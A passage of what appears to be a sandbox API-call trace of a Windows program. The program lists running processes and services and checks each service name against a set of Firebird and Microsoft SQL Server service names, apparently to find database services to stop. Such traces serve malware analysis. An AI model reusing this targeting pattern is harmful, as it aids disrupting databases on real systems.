lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0210.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0210.974] lstrlenW (lpString="ProfSvc") returned 7 [0210.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0210.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0210.974] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0210.974] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0210.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0210.974] lstrlenW (lpString="RpcEptMapper") returned 12 [0210.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0210.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0210.974] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0210.974] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0210.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0210.974] lstrlenW (lpString="RpcSs") returned 5 [0210.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0210.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0210.974] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0210.974] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0210.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0210.974] lstrlenW (lpString="SamSs") returned 5 [0210.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0210.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0210.975] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0210.975] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0210.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0210.975] lstrlenW (lpString="Schedule") returned 8 [0210.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0210.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0210.975] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0210.975] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0210.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0210.975] lstrlenW (lpString="SecurityHealthService") returned 21 [0210.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0210.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0210.975] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0210.975] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0210.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0210.975] lstrlenW (lpString="SENS") returned 4 [0210.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0210.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0210.975] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0210.975] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0210.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0210.975] lstrlenW (lpString="ShellHWDetection") returned 16 [0210.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0210.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0210.975] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0210.975] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0210.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0210.975] lstrlenW (lpString="Spooler") returned 7 [0210.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0210.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0210.975] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0210.975] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0210.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0210.976] lstrlenW (lpString="StateRepository") returned 15 [0210.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0210.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0210.976] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0210.976] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0210.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0210.976] lstrlenW (lpString="SysMain") returned 7 [0210.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0210.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0210.976] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0210.976] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0210.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0210.976] lstrlenW (lpString="SystemEventsBroker") returned 18 [0210.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0210.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0210.976] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0210.976] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0210.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0210.976] lstrlenW (lpString="Themes") returned 6 [0210.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0210.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0210.976] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0210.976] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0210.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0210.976] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0210.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0210.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0210.976] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0210.976] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0210.977] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3f8 [0210.980] Process32FirstW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0210.981] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0210.981] lstrlenW (lpString="System") returned 6 [0210.981] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0210.982] lstrlenW (lpString="smss.exe") returned 8 [0210.982] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0210.982] lstrlenW (lpString="csrss.exe") returned 9 [0210.982] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0210.983] lstrlenW (lpString="wininit.exe") returned 11 [0210.983] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0210.983] lstrlenW (lpString="csrss.exe") returned 9 [0210.983] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0210.983] lstrlenW (lpString="winlogon.exe") returned 12 [0210.984] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0210.984] lstrlenW (lpString="services.exe") returned 12 [0210.984] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0210.984] lstrlenW (lpString="lsass.exe") returned 9 [0210.984] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0210.985] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0210.985] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0210.995] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0210.995] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.995] lstrlenW (lpString="svchost.exe") returned 11 [0210.995] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.996] lstrlenW (lpString="svchost.exe") returned 11 [0210.996] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0210.996] lstrlenW (lpString="dwm.exe") returned 7 [0210.996] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.997] lstrlenW (lpString="svchost.exe") returned 11 [0210.997] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.997] lstrlenW (lpString="svchost.exe") returned 11 [0210.997] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.998] lstrlenW (lpString="svchost.exe") returned 11 [0210.998] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.998] lstrlenW (lpString="svchost.exe") returned 11 [0210.998] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.998] lstrlenW (lpString="svchost.exe") returned 11 [0210.999] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.999] lstrlenW (lpString="svchost.exe") returned 11 [0210.999] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.999] lstrlenW (lpString="svchost.exe") returned 11 [0210.999] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.000] lstrlenW (lpString="svchost.exe") returned 11 [0211.000] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.000] lstrlenW (lpString="svchost.exe") returned 11 [0211.000] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.001] lstrlenW (lpString="svchost.exe") returned 11 [0211.001] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0211.001] lstrlenW (lpString="spoolsv.exe") returned 11 [0211.001] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.002] lstrlenW (lpString="svchost.exe") returned 11 [0211.002] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0211.002] lstrlenW (lpString="audiodg.exe") returned 11 [0211.002] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0211.003] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0211.003] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0211.003] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0211.003] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0211.003] lstrlenW (lpString="Memory Compression") returned 18 [0211.004] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0211.004] lstrlenW (lpString="sihost.exe") returned 10 [0211.004] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.004] lstrlenW (lpString="svchost.exe") returned 11 [0211.004] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0211.005] lstrlenW (lpString="taskhostw.exe") returned 13 [0211.005] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0211.005] lstrlenW (lpString="msoia.exe") returned 9 [0211.005] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0211.006] lstrlenW (lpString="explorer.exe") returned 12 [0211.006] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0211.006] lstrlenW (lpString="SearchUI.exe") returned 12 [0211.006] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0211.007] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0211.007] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0211.007] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0211.007] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0211.007] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0211.008] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0211.008] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0211.008] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0211.008] lstrlenW (lpString="dllhost.exe") returned 11 [0211.008] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0211.009] CloseHandle (hObject=0x3f8) returned 1 [0211.009] Sleep (dwMilliseconds=0x1f4) [0211.726] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447afe0 [0211.726] EnumServicesStatusExW (in: hSCManager=0x447afe0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0211.727] GetLastError () returned 0xea [0211.727] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c30) returned 0x456b180 [0211.727] EnumServicesStatusExW (in: hSCManager=0x447afe0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x456b180, cbBufSize=0x1c30, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x456b180, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0211.728] CloseServiceHandle (hSCObject=0x447afe0) returned 1 [0211.728] lstrlenW (lpString="Appinfo") returned 7 [0211.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0211.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0211.728] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0211.728] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0211.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0211.729] lstrlenW (lpString="AppXSvc") returned 7 [0211.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0211.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0211.729] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0211.729] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0211.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0211.729] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0211.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0211.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0211.729] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0211.729] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0211.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0211.729] lstrlenW (lpString="Audiosrv") returned 8 [0211.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0211.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0211.729] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0211.729] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0211.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0211.729] lstrlenW (lpString="BFE") returned 3 [0211.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0211.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0211.729] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0211.729] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0211.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0211.729] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0211.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0211.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0211.729] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0211.729] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0211.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0211.729] lstrlenW (lpString="CDPSvc") returned 6 